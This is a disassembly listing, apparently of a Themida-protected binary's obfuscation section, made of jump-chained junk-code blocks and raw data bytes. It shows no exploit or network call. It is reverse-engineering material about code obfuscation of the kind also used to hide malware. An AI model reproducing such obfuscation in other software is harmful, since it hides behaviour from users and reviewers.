loc_63A0C5:				; CODE XREF: Themida_:006466A4j
		xor	ebx, eax
		push	small word ptr [eax]
		jmp	loc_6355A5
; ---------------------------------------------------------------------------
aXqiss4		db 'XQ;4',0
		align 4


loc_63A0D8:				; CODE XREF: Themida_:0063E828j
		xor	edi, [esp]
		mov	esp, [esp]
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	20EAh
		jmp	loc_6433E0
; ---------------------------------------------------------------------------
		dd 3487564Eh, 0D31FE924h, 815F0000h, 0CD4EDAEAh, 0AFC28142h
		dd 29359F17h, 0AFEA81C2h, 0E9359F17h, 4CD5h, 304DBF57h
		dd 0E7C15B3Dh, 0F7814705h, 46AD39B5h, 0E906E7C1h, 0DEA8h
; ---------------------------------------------------------------------------


loc_63A130:				; CODE XREF: Themida_:00642AD5j
		mov	edi, 0F8241ABFh
		jmp	loc_635872
; ---------------------------------------------------------------------------
aSiuwsgs	db 'SW郘',0
		db 0
; ---------------------------------------------------------------------------


loc_63A143:				; CODE XREF: Themida_:00645460j
		inc	edx
		push	eax
		mov	eax, 64AA0366h
		dec	eax
		push	esi
		mov	esi, 2B8D3E8Bh
		inc	esi
		jmp	loc_639AFC
; ---------------------------------------------------------------------------


loc_63A157:				; CODE XREF: Themida_:0063BE31j
		mov	[esp], edi
		mov	edi, 426768B9h
		inc	edi
		jmp	loc_63E1AF
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 0FE7CE9h, 0FEBF5700h, 0E9573703h, 0FFFFBBBEh, 0AB7E95Bh
		dd 0E2890001h, 4C281h, 0E9570000h, 8587h, 4EC81h, 4890000h
		dd 5C8B824h, 83400F0Ah,	0A32D01E8h, 992B6B5h, 0C58158C5h
		dd 0D188A58Eh, 846EB705h, 0E9E82979h, 0FFFFC659h, 42474FFh
		dd 8324048Bh, 48F04C4h,	50E95C24h, 8300006Bh, 0BF57FFC3h
		dd 3C825547h, 0CF81DFF7h, 70B34A2Ch, 0E907EFC1h, 0FFFFDD59h
; ---------------------------------------------------------------------------


loc_63A1E4:				; CODE XREF: Themida_:00641B5Bj
		pop	ebp
		shr	eax, 0Ch
		xor	eax, ecx
		push	63A9h
		jmp	loc_647503
; ---------------------------------------------------------------------------
		dd 83243C8Bh, 0B3E904C4h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63A1FF:				; CODE XREF: Themida_:00638AB3j
		shr	ebx, 6
		sub	ebx, 2475A82h
		add	ebp, 39BC406Ch
		add	ebp, ebx
		sub	ebp, 39BC406Ch
		pop	ebx
		push	esi
		mov	esi, 1524559Ah
		add	esi, 68DB3CE2h
		jmp	loc_640DA9
; ---------------------------------------------------------------------------
aIcpsk		db 'P',9,0
		align 10h


loc_63A230:				; CODE XREF: Themida_:0063816Dj
		sub	edi, 254FCCCh
		mov	edx, edi
		pop	edi
		jmp	loc_649EE7
; ---------------------------------------------------------------------------
		dw 433h
		dd 24248B24h, 240C8B66h, 272FE9h, 0C1ED8100h, 1409A7Bh
		dd 0C1C581DDh, 57409A7Bh, 0E95E37BFh, 35356800h, 1C890000h
		dd 26AEBB24h, 0E9430750h, 8D75h
; ---------------------------------------------------------------------------


loc_63A274:				; CODE XREF: Themida_:00648B8Bj
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 252C5053h
		shl	edi, 7
		jmp	loc_641FB1
; ---------------------------------------------------------------------------
		db 31h
		dd 0C5895AD0h, 0FFB738E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63A295:				; CODE XREF: Themida_:006438BFj
		xor	ch, dl
		mov	edx, [esp]
		jmp	loc_637966
; ---------------------------------------------------------------------------
		db 5Ch
		dd 5C24048Fh, 9C2424D3h, 0FFB2F8E9h, 74FF50FFh,	7BE90424h
		db 0C9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_63A2B7:				; CODE XREF: Themida_:0064817Bj
		mov	eax, [esp]
		add	esp, 4
		pop	ebp
		jmp	loc_649970
; ---------------------------------------------------------------------------
		dw 0F889h
		dd 5F58C689h, 15EF001h,	7BBD2DF8h, 34FF4CD7h, 0F7A2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63A2DE:				; CODE XREF: Themida_:0064698Dj
		add	ebx, 69012C0Bh
		jmp	loc_6378D0
; ---------------------------------------------------------------------------


loc_63A2E9:				; CODE XREF: Themida_:0064072Cj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_635B9A
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFB2A5h, 0DD31E9ADh, 0EB81FFFFh, 5EA045BFh, 81DBF74Bh
		dd 0A99779F3h, 0E9DE294Fh, 0BA4h, 34FFFA88h, 0EC685B24h
		dd 89000075h, 0E189240Ch, 4B850h, 0C1010000h, 8124048Bh
		dd 4C4h, 4C18300h, 5C240C87h, 7C9A68h, 240C8900h, 0F7C6E9h
		dd 0E0895000h, 0A0FE9h
		db 0
; ---------------------------------------------------------------------------


loc_63A359:				; CODE XREF: Themida_:0063A6F8j
		add	dword ptr [esp], 2CC84402h
		pop	eax
		sub	eax, 2CC84402h


loc_63A366:				; DATA XREF: Themida_:005DD859o
		push	dword ptr [esp]
		pop	esi
		push	17D1h
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_637F70
; ---------------------------------------------------------------------------
		db 66h,	0D3h, 2Ch
		dd 22E99C24h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63A383:				; CODE XREF: Themida_:00636B3Fj
		mov	[esp], eax
		jmp	loc_63DA1B
; ---------------------------------------------------------------------------
aRsO		db 'R֎',0
		dd 4C68100h, 33000000h,	34312434h, 205E924h, 0C3310000h
		dd 0E924048Bh, 7248h, 4BDCC681h, 0CE015F54h, 4BDCEE81h
		dd 0C8B5F54h, 4C48124h,	33000000h, 0ADE92434h, 2Eh, 505866E5h
		dd 0FFEAA2E9h, 0B95158FFh, 104C1017h, 5C9BD55h,	0E929A902h
		dd 0BAC2815Dh, 81208529h, 0C44727EAh, 0E661E900h, 0F3010000h
		dd 6FE8E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63A3FE:				; CODE XREF: Themida_:006461AEj
		push	622Ah
		mov	[esp], ebx
		jmp	loc_63983D
; ---------------------------------------------------------------------------
		db 81h
		dd 1928E8C6h, 99B95104h, 0E920C906h, 3422h
; ---------------------------------------------------------------------------


loc_63A41C:				; CODE XREF: Themida_:00648FB8j
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_6376EC
; ---------------------------------------------------------------------------


loc_63A429:				; CODE XREF: Themida_:0063F814j
		push	ebp
		jmp	loc_637327
; ---------------------------------------------------------------------------


loc_63A42F:				; CODE XREF: Themida_:00647B54j
		shl	ebp, 7
		not	ebp
		add	ebp, 0C5DD5B85h
		add	ebx, ebp
		jmp	loc_6462B1
; ---------------------------------------------------------------------------
		dd offset dword_68C068
		align 2
		dw 489h
		dd 0E0895024h, 405h, 42D00h, 4870000h, 3C895C24h, 3C8B5424h
		dd 4C48124h, 55000000h,	4BDh, 8BEF0100h, 0C483242Ch, 0EF69E904h
		dd 0EF680000h, 89000006h, 468242Ch, 0E9000000h,	9C2Dh
; ---------------------------------------------------------------------------


loc_63A48C:				; CODE XREF: Themida_:00635D2Bj
		add	esp, 4
		add	edi, ecx
		jmp	loc_6432A0
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 0BAh
		dd 81388D69h, 9437C5EFh, 3E7C167h, 149CE9h, 88B95100h
		dd 0F704347Fh, 0A2E981D1h, 0C135F819h, 0E18104E9h, 6D545687h
		dd 4F89F181h, 0CF316FE4h, 8B85059h, 56267A3Fh, 0FFFFFFBEh
		dd 79A105FFh, 0F001612Bh, 2B79A12Dh, 8E95E61h, 33FFFFCDh
		dd 895C243Ch, 0B8E9243Ch, 2800002Ah, 685351D8h,	4813h
		dd 0B5240C89h, 0BE13E910h, 52520000h, 9211E9h, 0E9FD2000h
		dd 758Bh, 4E981h, 0FF510000h, 59042474h, 3EB4E9h, 148B5C00h
		dd 4C48124h, 0E9000000h, 0FFFFB06Dh, 1A02DADh, 5451108Bh
		dd 4C18159h, 52000000h,	4BAh, 4DE98100h, 0E92B3646h, 0BBE3h
; ---------------------------------------------------------------------------


loc_63A558:				; CODE XREF: Themida_:0063BFA3j
		mov	esi, 18F200C4h
		jmp	loc_640557
; ---------------------------------------------------------------------------


loc_63A562:				; CODE XREF: Themida_:0063D1F5j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_63BE22
; ---------------------------------------------------------------------------


loc_63A573:				; CODE XREF: Themida_:0063A9D0j
		xor	edi, 73BC1516h
		xor	ebp, edi
		pop	edi
		mov	edi, ebp
		pop	ebp
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_6493BC
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		push	eax
		push	ecx
		mov	ecx, 4
		mov	eax, ecx
		pop	ecx
		jmp	loc_636DE5
; ---------------------------------------------------------------------------
		db 33h
		dd 515C2434h, 4B9h, 0E892E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63A5B6:				; CODE XREF: Themida_:0063B8E3j
		xor	eax, esi
		jmp	loc_640DFF
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 47C685Ch, 1C890000h,	804AE924h, 0C4830000h, 0C59CE904h
		dd 68ACFFFFh, 0A38h, 83241489h,	15E904ECh, 8BFFFFB8h, 0F1682404h
		dd 89000077h, 5954240Ch, 7D8DB850h, 16E912E3h, 10000FFh
		dd 0EC815EF3h, 4, 0FFEB95E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63A60D:				; CODE XREF: Themida_:0063C471j
		add	esp, 4
		jmp	loc_63C1F7
; ---------------------------------------------------------------------------
		dd 88FE8852h, 0E1885AF4h, 23E9h
		db 0
; ---------------------------------------------------------------------------


loc_63A625:				; CODE XREF: Themida_:00644855j
		xchg	ebx, edi
		not	ebx
		jmp	loc_648DFE
; ---------------------------------------------------------------------------
aVs3		db 'V3',0
		align 4
		dd 2474FF57h, 48F5F04h,	24895C24h, 0E9515024h, 5301h, 241C8B58h
		dd 4C481h, 0BCE90000h, 89FFFFBBh, 4BD242Ch, 1000000h, 42D5DE8h
		dd 87000000h, 248B2404h, 241C8924h, 457BE9h, 4C48300h
		dd 8007EBC0h, 0F3E955C3h, 89000026h, 74FF2434h,	8F5E0424h
		dd 47E92404h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63A693:				; CODE XREF: Themida_:00648591j
		mov	ebx, esp
		push	ebp
		mov	ebp, 286B5B47h
		jmp	loc_647B4E
; ---------------------------------------------------------------------------
		dd 0E95DEB31h, 344h
; ---------------------------------------------------------------------------


loc_63A6A8:				; CODE XREF: Themida_:00635D0Aj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_63869B
; ---------------------------------------------------------------------------
		dd 240C8758h, 0AEDFE95Ch, 895DFFFFh, 0D1015AD1h, 551EE9h
		dd 242C8100h, 7B4B50C4h, 0EC240481h, 8118132Dh,	4CC242Ch
		dd 0EC832E49h, 242C8904h, 86CB951h, 55E97450h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63A6F7:				; CODE XREF: Themida_:0064A402j
		push	esi
		jmp	loc_63A359
; ---------------------------------------------------------------------------
		db 0B5h, 6Eh, 0E9h
		dd 1B1Dh
; ---------------------------------------------------------------------------


loc_63A704:				; CODE XREF: Themida_:0063D919j
		mov	[esp], eax
		mov	eax, 5C6A186Dh
		jmp	loc_63E914
; ---------------------------------------------------------------------------


loc_63A711:				; CODE XREF: Themida_:00645A8Dj
		mov	[esp], ebp
		push	esi
		push	74C5D77h
		pop	esi
		not	esi
		jmp	loc_6472BC
; ---------------------------------------------------------------------------
		dw 1C31h
		dd 241C3324h, 0FFB2A6E9h, 515558FFh, 29653EB9h,	72C6BD19h
		dd 0CD29645Ah, 0E9240C8Bh, 4BF4h
; ---------------------------------------------------------------------------


loc_63A744:				; CODE XREF: Themida_:0063E6E6j
		add	ebp, 8D3B5B7Dh
		sub	ebx, ebp
		jmp	loc_641D4B
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0C381E389h, 4, 5D4CE9h, 24048900h, 468h, 3793E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63A76E:				; CODE XREF: Themida_:00641E49j
		mov	edi, 2
		add	eax, edi
		jmp	loc_640142
; ---------------------------------------------------------------------------
		dw 483h
		dd 83580424h, 0C8904ECh, 767BB924h, 0D7E97B32h,	5F000044h
		dd 148BD601h, 92D4E924h, 0F3810000h, 7D65393Bh,	1C8BD801h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		jmp	loc_6483AB
; ---------------------------------------------------------------------------
		dd 94D4F781h, 5756FF8Eh, 0FFBCC9E9h, 4C383FFh, 5C241C87h
		dd 0BB53C201h, 181552EFh, 9E9DA29h, 87000034h, 895C2404h
		dd 58542404h, 4BB53h, 0D8010000h, 0E141E95Bh, 8B66FFFFh
		dd 68E9240Ch
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63A7F7:				; CODE XREF: Themida_:0063D9DAj
		add	ebx, 4
		jmp	loc_63CAC1
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4C781h, 56530000h, 4BEh, 5EF38900h, 0FFD3D7E9h, 52B6FFh
		dd 0F65A66F1h, 0F6C1FED1h, 32B753D1h, 0C008E7C0h, 29E904E7h
		dd 51000042h, 4EC81h, 34890000h, 0FDABE24h, 0EEC170FDh
		dd 0DFCAE905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63A846:				; CODE XREF: Themida_:00641659j
		xor	ebp, 2DBF6411h
		dec	ebp
		shl	ebp, 2
		add	ebp, 5BF0038h
		add	esi, ebp
		pop	ebp
		push	eax
		mov	eax, esi
		mov	edx, eax
		pop	eax
		mov	esi, [esp]
		add	esp, 4
		mov	ecx, edx
		pop	edx
		sub	ecx, 7BB5464Fh
		and	ecx, 4735410Eh
		neg	ecx
		inc	ecx
		xor	ecx, 58F66916h
		sub	ecx, 0D9F22D28h
		add	edx, ecx
		mov	ecx, [esp]
		jmp	loc_63EECC
; ---------------------------------------------------------------------------
aCESSI		db '/*E)]I',0
		align 2
		dw 0D001h
		dd 4E8C15Ah, 51FFF405h,	4EC81FDh, 89000000h, 0BA52243Ch
		dd 2B3A6B2Eh, 3415EA81h, 28E956B8h, 0BD000084h,	3031363Ah
		dd 0E9FFED83h, 844Dh, 1C8BD931h, 4C48124h, 81000000h, 0E919FDE9h
		dd 55D1F77Fh, 0DD2561BDh, 81ED811Eh, 21E6C7F6h,	6625E9E9h
		dd 89570000h, 4C781E7h,	83000000h, 3C8704EFh, 61E95C24h
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63A907:				; CODE XREF: Themida_:00644341j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_638ED8
; ---------------------------------------------------------------------------


loc_63A93A:				; CODE XREF: Themida_:00646D80j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4
		sub	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_6424A4
; ---------------------------------------------------------------------------


loc_63A95C:				; CODE XREF: Themida_:00637253j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		push	7224h
		mov	[esp], edx
		mov	edx, 4
		push	ecx
		mov	ecx, 739C649Ah
		jmp	loc_63644E
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0C8AF0F5Ch, 2E99C51h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63A9A3:				; CODE XREF: Themida_:006457A0j
		shl	esi, 6
		sub	esi, 5B757B5Fh
		xor	edi, esi
		mov	esi, [esp]
		add	esp, 4
		sub	edi, 0D2BC4265h
		xor	ebp, edi
		pop	edi
		pop	ebx
		sub	ebp, 1DA548Fh
		shl	ebp, 7
		sub	ebp, 0FFFFFFFFh
		push	edi
		mov	edi, 0BC03897h
		jmp	loc_63A573
; ---------------------------------------------------------------------------
aBi71vSsr	db '71V)',0
		align 10h


loc_63A9E0:				; CODE XREF: Themida_:00644CEBj
		mov	esi, ecx
		pop	ecx
		add	eax, esi
		pop	esi
		push	eax
		jmp	loc_6390DE
; ---------------------------------------------------------------------------
		dd 1C8BDE01h, 4C48324h,	348BF131h, 9DE6E924h, 1C890000h
		dd 0D4885024h, 0E958E788h, 0FFFFDB08h, 0E984EB80h, 0A346h
		dd 0E9240431h, 0FFFFAB89h
; ---------------------------------------------------------------------------


loc_63AA1C:				; CODE XREF: Themida_:00638E72j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_647608
; ---------------------------------------------------------------------------
		db 88h
		dd 58E388CCh, 10EB8059h, 25E9DA30h, 0F7FFFFADh,	0DF2DE9DAh
		dd 95BFFFFFh, 89341608h, 0AFE9E9FEh, 0ED810000h, 25225026h
		dd 30E6EB81h, 0EB015C0Fh, 9BF5E9h, 0FBB35300h, 301AC380h
		dd 0B6E95BD9h, 2C00003Ch, 0F7685153h, 0E900003Ch, 8036h
; ---------------------------------------------------------------------------


loc_63AA7C:				; CODE XREF: Themida_:00640571j
		push	ecx
		push	511E7BE7h
		pop	ecx
		jmp	loc_637F11
; ---------------------------------------------------------------------------
		dd 4B8h, 58C30100h, 8B241C87h, 16682424h, 89000002h, 0FF542434h
		dd 835E2434h, 0BD5504C4h, 44774DD7h, 0EAE8E9h, 5BDE3100h
		dd 875EF129h, 248B240Ch, 24148924h, 0FFAAE0E9h,	80E953FFh
		dd 0BF000057h, 619E0525h, 0E905EFC1h, 0FFFFD9F3h, 24048B66h
		dd 33796850h, 24890000h, 34F86824h, 14890000h, 4EE2BA24h
		dd 0F28141D4h, 40706890h, 0BB05E9h, 0E9D3F700h,	0FA53h
; ---------------------------------------------------------------------------


loc_63AB04:				; CODE XREF: Themida_:00637E70j
		push	ebp
		mov	ebp, edx
		sub	esp, 4
		jmp	loc_6361AC
; ---------------------------------------------------------------------------
		dw 0E9C1h
		dd 4886E902h, 4890000h,	5585424h, 4, 4BB53h, 0EC810000h
		dd 4, 52241C89h, 598CE9h, 4C58100h, 68000000h, 7D72h, 0B9240C89h
		dd 4, 3D6BC581h, 0CD016F00h, 3D6BED81h,	33596F00h, 2C31242Ch
		dd 242C3324h, 24048F5Ch, 32ABE9h, 0D6C68000h, 71E9F000h
		dd 8BFFFFACh, 8950240Ch, 4EC83E0h, 0FFDFB2E9h, 4EE83FFh
		dd 0D617E9h
		db 0
; ---------------------------------------------------------------------------


loc_63AB8D:				; CODE XREF: Themida_:00648184j
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_64271D
; ---------------------------------------------------------------------------


loc_63AB98:				; CODE XREF: Themida_:0064187Dj
		sub	[esp], ecx
		jmp	loc_6417EB
; ---------------------------------------------------------------------------
		dd 83243C8Bh, 65E904C4h
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63ABAB:				; CODE XREF: Themida_:0064288Cj
		mov	[esp], ebp
		push	ebx
		push	4F272FD2h
		pop	ebx
		jmp	loc_63BFB2
; ---------------------------------------------------------------------------
		dw 0E3B8h
		dd 0C1558F5Dh, 0BE5606E0h, 72E51256h, 5BCEE81h,	0F031426Ch
		dd 8124348Bh, 4C4h, 0EBBCE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63ABDE:				; CODE XREF: Themida_:00647C14j
		shr	edx, 2
		xor	edx, 0C79A382Eh
		add	eax, edx
		pop	edx
		mov	esi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		and	eax, esi
		pop	esi
		shr	eax, 18h
		xor	eax, ecx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	3B7Dh
		jmp	loc_6372B8
; ---------------------------------------------------------------------------


loc_63AC0B:				; CODE XREF: Themida_:00649E61j
		add	esp, 4
		push	ebx
		mov	ebx, 57AF2F44h
		jmp	loc_63DD00
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4835Eh, 8B240487h,	34FF2424h, 2434FF24h, 4C48158h
		dd 51000000h, 0C181E189h, 4, 4E981h, 0C870000h,	34895C24h
		dd 348B5424h, 0E496E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63AC52:				; CODE XREF: Themida_:00646791j
		mov	ebx, 30274A50h
		jmp	loc_63EAE7
; ---------------------------------------------------------------------------


loc_63AC5C:				; CODE XREF: Themida_:00639B04j
		pop	esi
		xor	edx, eax
		pop	eax
		sub	ebx, 7D660520h
		sub	ebx, edx
		add	ebx, 7D660520h
		jmp	loc_63641C
; ---------------------------------------------------------------------------
		db 54h
		dd 8124048Fh, 42404h, 68580000h, 53A9h,	54242C89h, 0ECB9515Dh
		dd 81586317h, 0FFFFFFC1h, 0EFBA52FFh, 31586317h, 0C5815AD1h
		dd 1F3C42ABh, 0ED81CD01h, 1F3C42ABh, 83240C8Bh,	1C8904ECh
		dd 0E9E38924h, 4E94h
; ---------------------------------------------------------------------------


loc_63ACBC:				; CODE XREF: Themida_:0063D4FDj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 7B372CEEh
		jmp	loc_63F453
; ---------------------------------------------------------------------------


loc_63ACE2:				; CODE XREF: Themida_:00649E1Dj
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	edx
		jmp	loc_641F94
; ---------------------------------------------------------------------------
		dw 0FB89h
		dd 3FEB815Fh, 817EDA76h, 0B84D65EBh, 0D85DE978h, 0C381FFFFh
		dd 4, 5553E9h, 80D4F600h, 0EC8040CCh, 58E300CDh, 0EB80E328h
		dd 0B252589Bh, 7E2C090h, 50D5C280h, 7BE954B4h, 89000061h
		dd 0B1512414h, 25B75396h, 8038EF80h, 0CF806DF7h, 9DF780FCh
		dd 0E904EC83h, 0DB02h, 8B66D030h, 0C4832414h, 0FC33002h
		dd 8B66C0B6h, 0E9502414h, 8492h, 405h, 42D00h, 4870000h
		dd 2C895C24h, 0CB6CE924h, 92BB0000h, 817AA531h,	48CAC1C3h
		dd 5BDD296Fh, 0E95DEF89h, 0FFFFE94Ah, 50FE015Bh, 5066DCB8h
		dd 9CBF576Ch, 814A945Ah, 0F74355E7h, 81E7D150h,	0EA6E20F7h
		dd 154505A7h, 0F82952E9h, 0E258E9h, 4EC8300h, 0BF243C89h
		dd 45370C89h, 0BB53D7F7h, 6B600FB0h, 8CEBE943h,	0E9570000h
		dd 12DFh, 4EC81h, 5BE90000h, 8B00000Eh,	9F68241Ch, 0E9000008h
		dd 0F0DAh
; ---------------------------------------------------------------------------


loc_63ADF4:				; CODE XREF: Themida_:006375E5j
		mov	[esp], edi
		push	ebp
		push	esi
		jmp	loc_648CBA
; ---------------------------------------------------------------------------
aQrOS		db 'QR"o^',0
		dw 0D131h
		dd 60CEBA5Ah, 0CA317C73h, 5AD52959h, 2C8BEB89h,	4C48124h
		dd 21000000h, 1C8B1C5Fh, 0E2895224h, 4C281h, 0BE560000h
		dd 392D5356h, 2ECCBA52h, 0DAF70299h, 0C281DAF7h, 0FD6DEFB5h
		dd 0BFE9D629h, 5E000031h, 9EBCE9h
		db 0
; ---------------------------------------------------------------------------


loc_63AE55:				; CODE XREF: Themida_:0063B287j
		xchg	ebp, [esp]
		jmp	loc_63DE38
; ---------------------------------------------------------------------------


loc_63AE5D:				; CODE XREF: Themida_:0063CF97j
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		jmp	loc_63714B
; ---------------------------------------------------------------------------


loc_63AE69:				; CODE XREF: Themida_:006427ABj
		not	edi
		push	ecx
		push	edi
		pop	ecx
		jmp	loc_643EC5
; ---------------------------------------------------------------------------
		db 81h
		dd 42565ECEh, 81DEF75Ch, 1A03E6E6h, 76F68127h, 8142C714h
		dd 28EB2CC6h, 2C81569Ch, 0B976B424h, 0C5815D7Ch, 7CB976B4h
		dd 47A1E95Eh, 0FBB80000h, 0C10DF10Dh, 0D0F704E8h, 86690540h
		dd 4D6801CCh, 89000023h, 0E955241Ch, 79FCh, 2434875Bh
		dd 242C895Ch, 2968D6BDh, 0FAE95640h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63AED3:				; CODE XREF: Themida_:00647645j
		add	esp, 4
		sub	edi, 8041045h
		mov	esi, edi
		mov	edi, [esp]
		jmp	loc_63AF16
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 9270E904h, 0BD550000h, 4, 0ED8E9h
		db 0
; ---------------------------------------------------------------------------


loc_63AEF9:				; CODE XREF: Themida_:00638DE9j
		xchg	edx, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, 3D532D2Ah
		add	eax, edi
		mov	edi, [esp]
		jmp	loc_6378C2
; ---------------------------------------------------------------------------
		db 0F6h
aSO_0		db '鼎',0
		align 2


loc_63AF16:				; CODE XREF: Themida_:0063AEE1j
		push	esi
		jmp	loc_643ADD
; ---------------------------------------------------------------------------
		dd 4C581h, 0B8500000h, 4, 0C1CFE9h, 0E9505100h,	0BD0Fh
; ---------------------------------------------------------------------------


loc_63AF34:				; CODE XREF: Themida_:00636314j
		mov	esi, 6F3D5F42h
		shl	esi, 2
		or	esi, 70220359h
		not	esi
		push	esi
		not	dword ptr [esp]
		pop	esi
		neg	esi
		sub	esi, 0B596559Ah
		sub	ebp, 35E64D5Ah
		sub	ebp, esi
		add	ebp, 35E64D5Ah
		pop	esi
		sub	ebp, 0B7881F25h
		add	ecx, ebp
		pop	ebp
		push	dword ptr [esp]
		pop	esi
		jmp	loc_64135A
; ---------------------------------------------------------------------------
		dw 555Fh
		dd 4BDh, 63E95500h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63AF7F:				; CODE XREF: Themida_:0063C148j
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		pop	ebp
		sub	[esp+4], esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		push	0EECh
		mov	[esp], esp
		push	eax
		jmp	loc_638349
; ---------------------------------------------------------------------------
		dw 7BB8h
		dd 2D37F95Dh, 8D72BF8h,	7A2EA625h, 61BA520Eh, 13FC460h
		dd 30AFE9D0h, 54520000h, 4C2815Ah, 81000000h, 4C2h, 24148700h
		dd 8124248Bh, 4ECh, 241C8900h, 0C381E389h, 4, 8704C383h
		dd 0C15C241Ch, 0EBD107EBh, 0E9FFC383h, 0FFFFBAB2h, 0B759C681h
		dd 0E7E96B70h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63B00F:				; CODE XREF: Themida_:0064583Dj
		or	ebx, ebx
		jnz	loc_642937
		push	5E16h
		jmp	loc_64343A
; ---------------------------------------------------------------------------
		db 54h,	8Bh, 34h
		dd 4C48124h, 81000000h,	4C6h, 4C68100h,	0E9000000h, 49F2h
		dd 13E9FB29h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63B043:				; CODE XREF: Themida_:00640432j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 42E753EFh
		sub	esp, 4
		jmp	loc_646B21
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 4C481h, 0DA890000h, 0FFE187E9h, 240C89FFh, 9D3EE9h
		dd 333BBE00h, 0F2212143h, 0D0F7925Eh, 17E28192h, 81777D79h
		dd 0BE085BEAh, 0E9D30145h, 637Dh, 819DB652h, 4ECh, 0D45CE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63B0B2:				; CODE XREF: Themida_:00648BF3j
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		jmp	loc_642C6C
; ---------------------------------------------------------------------------
aZsox		db 'ZO',0
		dd 0E9C32900h, 0FFFFAE54h, 986DC381h, 0DD89D9BCh, 0ED1EE9h
		dd 48F5400h, 24048124h,	4, 5324048Bh, 37E9E389h, 5D000001h
		dd 685AD589h, 4D66h, 0BB241C89h, 4B646892h, 0F707E3C1h
		dd 44C381DBh, 816B0D42h, 0AE1CBAF3h, 63F38132h,	81462F66h
		dd 4ECh, 24348900h, 5725FBBEh, 7BEE9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63B12A:				; CODE XREF: Themida_:006453D9j
		mov	ecx, 37B95888h
		and	ebx, ecx
		jmp	loc_640074
; ---------------------------------------------------------------------------


loc_63B136:				; CODE XREF: Themida_:006373E4j
		add	eax, 2CF45FC1h
		add	eax, edx
		sub	eax, 2CF45FC1h
		pop	edx
		sub	[esp+4], eax
		mov	eax, [esp]
		push	eax
		jmp	loc_6441BF
